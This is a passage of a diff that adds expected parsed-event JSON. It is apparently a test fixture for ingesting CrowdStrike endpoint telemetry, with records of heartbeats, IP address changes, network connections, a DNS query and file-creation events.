+                "created": "2021-07-07T17:05:21.218Z",
+                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffffc9114c1898e79604708955a6|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677520.686\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"6e-9e-e0-1f-6d-7d\",\"InterfaceAlias\":\"vethdeb0243\",\"InterfaceIndex\":\"3736\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP6LinV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffffc9114c1898e79604708955a6\",\"timestamp\":\"1625677521218\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffffc9114c1898e79604708955a6",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "LocalIpAddressIP6",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffc9114c1898e79604708955a6",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "mac": "6E-9E-E0-1F-6D-7D"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:40.455Z",
+            "crowdstrike": {
+                "ChannelDiffStatus": "1",
+                "ChannelId": "210",
+                "ChannelVersion": "0",
+                "ChannelVersionRequired": "0",
+                "ConfigStateHash": "1620585913",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "ErrorCode": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3",
+                "name": "ChannelVersionRequiredMacV2"
+            },
+            "device": {
+                "id": "ffffffff2d7b4778a73b2cf58d327e42"
+            },
+            "event": {
+                "action": "ChannelVersionRequired",
+                "created": "2021-07-07T17:04:40.455Z",
+                "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3|ffffffff2d7b4778a73b2cf58d327e42|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1620585913\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.13\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"210\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ChannelVersionRequiredMacV2\",\"id\":\"ffffffff-1111-11eb-8cc5-02c6fb049dd3\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff2d7b4778a73b2cf58d327e42\",\"timestamp\":\"1625677480455\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffff2d7b4778a73b2cf58d327e42",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ChannelVersionRequired",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff2d7b4778a73b2cf58d327e42",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:40.292Z",
+            "crowdstrike": {
+                "ConfigIDBase": "65994753",
+                "ConfigIDBuild": "11611",
+                "ConfigIDPlatform": "8",
+                "ConfigStateHash": "1156120155",
+                "ConfigurationVersion": "10",
+                "NetworkContainmentState": "0",
+                "SensorStateBitMap": "2",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-993f-02b8dc387eb5",
+                "name": "SensorHeartbeatLinV4"
+            },
+            "device": {
+                "id": "fffffffff6e146908cbf31d72b94b626"
+            },
+            "event": {
+                "action": "SensorHeartbeat",
+                "category": [
+                    "package"
+                ],
+                "created": "2021-07-07T17:05:40.292Z",
+                "id": "ffffffff-1111-11eb-993f-02b8dc387eb5|fffffffff6e146908cbf31d72b94b626|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"1156120155\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ConfigurationVersion\":\"10\",\"name\":\"SensorHeartbeatLinV4\",\"ConfigIDPlatform\":\"8\",\"id\":\"ffffffff-1111-11eb-993f-02b8dc387eb5\",\"ConfigIDBuild\":\"11611\",\"aid\":\"fffffffff6e146908cbf31d72b94b626\",\"timestamp\":\"1625677540292\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "fffffffff6e146908cbf31d72b94b626",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "SensorHeartbeat",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffff6e146908cbf31d72b94b626",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:28.717Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "364783686797112486",
+                "ContextTimeStamp": "2021-07-07T17:05:28.570Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
+                "name": "JavaClassFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffff083845f68a7de3d95cb34361"
+            },
+            "event": {
+                "action": "JavaClassFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:28.717Z",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1625677528.570\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364783686797112486\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000986b480e00000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"JavaClassFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"timestamp\":\"1625677528717\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling",
+                "extension": "class",
+                "inode": "04000001000000000000000000000000986b480e00000000",
+                "name": "TeamsPlugin$apply$$inlined$configure$1.class",
+                "path": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff083845f68a7de3d95cb34361",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "JavaClassFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff083845f68a7de3d95cb34361",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364783686797112486",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:12.892Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "364796317497854624",
+                "ContextTimeStamp": "2021-07-07T17:05:12.700Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27",
+                "name": "NetworkConnectIP4MacV10"
+            },
+            "destination": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 443
+            },
+            "device": {
+                "id": "ffffffff96f142f6b2475f3c584ddd80"
+            },
+            "event": {
+                "action": "NetworkConnectIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:12.892Z",
+                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff96f142f6b2475f3c584ddd80|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677512.700\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364796317497854624\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4MacV10\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff96f142f6b2475f3c584ddd80\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677512892\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff96f142f6b2475f3c584ddd80",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkConnectIP4",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff96f142f6b2475f3c584ddd80",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364796317497854624"
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:36.111Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "364977197365370629",
+                "ContextTimeStamp": "2021-07-07T17:04:35.806Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9644-060415b1fd87",
+                "name": "DnsRequestMacV1"
+            },
+            "device": {
+                "id": "ffffffff7ecf4e61bba14ca5ac5d17b1"
+            },
+            "dns": {
+                "question": {
+                    "name": "jss.dom1.com",
+                    "registered_domain": "dom1.com",
+                    "subdomain": "jss",
+                    "top_level_domain": "com",
+                    "type": "AAAA"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "DnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:36.111Z",
+                "id": "ffffffff-1111-11eb-9644-060415b1fd87|ffffffff7ecf4e61bba14ca5ac5d17b1|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1625677475.806\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364977197365370629\",\"DomainName\":\"jss.dom1.com\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"DnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-9644-060415b1fd87\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff7ecf4e61bba14ca5ac5d17b1\",\"timestamp\":\"1625677476111\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"28\"}",
+                "outcome": "success",
+                "type": [
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "ffffffff7ecf4e61bba14ca5ac5d17b1",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "DnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff7ecf4e61bba14ca5ac5d17b1",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364977197365370629",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:40.055Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "365053504406857894",
+                "ContextTimeStamp": "2021-07-07T17:05:04.770Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "SHA256HashData": "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
+                "name": "NewScriptWrittenMacV2"
+            },
+            "device": {
+                "id": "ffffffffbea440b9aad8b5bf222d303f"
+            },
+            "event": {
+                "action": "NewScriptWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:40.055Z",
+                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677504.770\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"365053504406857894\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9\",\"FileIdentifier\":\"05000001000000000000000000000000b588050000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677540055\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/BitBar/countdown_timer.1s.py\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Applications/BitBar",
+                "extension": "py",
+                "inode": "05000001000000000000000000000000b588050000000000",
+                "name": "countdown_timer.1s.py",
+                "path": "/Applications/BitBar/countdown_timer.1s.py",
+                "size": 0,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffbea440b9aad8b5bf222d303f",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NewScriptWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365053504406857894",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:26.386Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1156120155",
+                "InterfaceIndex": 186,
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b3c1-02ff598b7945",
+                "name": "LocalIpAddressRemovedIP6LinV1"
+            },
+            "device": {
+                "id": "ffffffffbfbf4ff5aa56a26ad3c1a942"
+            },
+            "event": {
+                "action": "LocalIpAddressRemovedIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:05:26.386Z",
+                "id": "ffffffff-1111-11eb-b3c1-02ff598b7945|ffffffffbfbf4ff5aa56a26ad3c1a942|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"InterfaceIndex\":\"186\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"event_platform\":\"Lin\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"name\":\"LocalIpAddressRemovedIP6LinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-b3c1-02ff598b7945\",\"aid\":\"ffffffffbfbf4ff5aa56a26ad3c1a942\",\"timestamp\":\"1625677526386\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffffbfbf4ff5aa56a26ad3c1a942",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "LocalIpAddressRemovedIP6",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffbfbf4ff5aa56a26ad3c1a942",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:00.089Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365053555029062046",
+                "ContextTimeStamp": "2021-07-07T17:04:59.994Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "Flags": "0",
+                "UnixMode": "0",
+                "VnodeType": "2",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1",
+                "name": "DirectoryCreateMacV1"
+            },
+            "device": {
+                "id": "ffffffff24db47799d1a85aae61dc7bc"
+            },
+            "event": {
+                "action": "DirectoryCreate",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:00.089Z",
+                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffff24db47799d1a85aae61dc7bc|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1625677499.994\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053555029062046\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"0\",\"Entitlements\":\"15\",\"name\":\"DirectoryCreateMacV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"VnodeType\":\"2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff24db47799d1a85aae61dc7bc\",\"TargetDirectoryName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\",\"timestamp\":\"1625677500089\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS",
+                "name": "2F71C2D4-D215-453E-BF4C-D6C037502871",
+                "path": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871",
+                "type": "dir"
+            },
+            "host": {
+                "id": "ffffffff24db47799d1a85aae61dc7bc",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "DirectoryCreate",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff24db47799d1a85aae61dc7bc",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365053555029062046",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:17.986Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1479784503",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "84424232977619",
+                "ContextTimeStamp": "2021-07-07T17:05:17.658Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9015-02e89cda7d5f",
+                "name": "NetworkCloseIP4LinV6"
+            },
+            "destination": {
+                "address": "67.43.156.13",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.13",
+                "port": 443
+            },
+            "device": {
+                "id": "ffffffff58de4e748d9f64c85a9b49e6"
+            },
+            "event": {
+                "action": "NetworkCloseIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:17.986Z",
+                "id": "ffffffff-1111-11eb-9015-02e89cda7d5f|ffffffff58de4e748d9f64c85a9b49e6|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkCloseIP4\",\"ContextTimeStamp\":\"1625677517.658\",\"ConfigStateHash\":\"1479784503\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"84424232977619\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"40394\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP4LinV6\",\"id\":\"ffffffff-1111-11eb-9015-02e89cda7d5f\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff58de4e748d9f64c85a9b49e6\",\"RemoteAddressIP4\":\"67.43.156.13\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677517986\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "end",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff58de4e748d9f64c85a9b49e6",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkCloseIP4",
+            "network": {
+                "community_id": "1:UVftVVD3gVlBx8wJQBdaiJYrD6A=",
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff58de4e748d9f64c85a9b49e6",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "84424232977619"
+            },
+            "related": {
+                "hash": [
+                    "1479784503"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "67.43.156.13"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 40394
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:56.804Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365053546767850587",
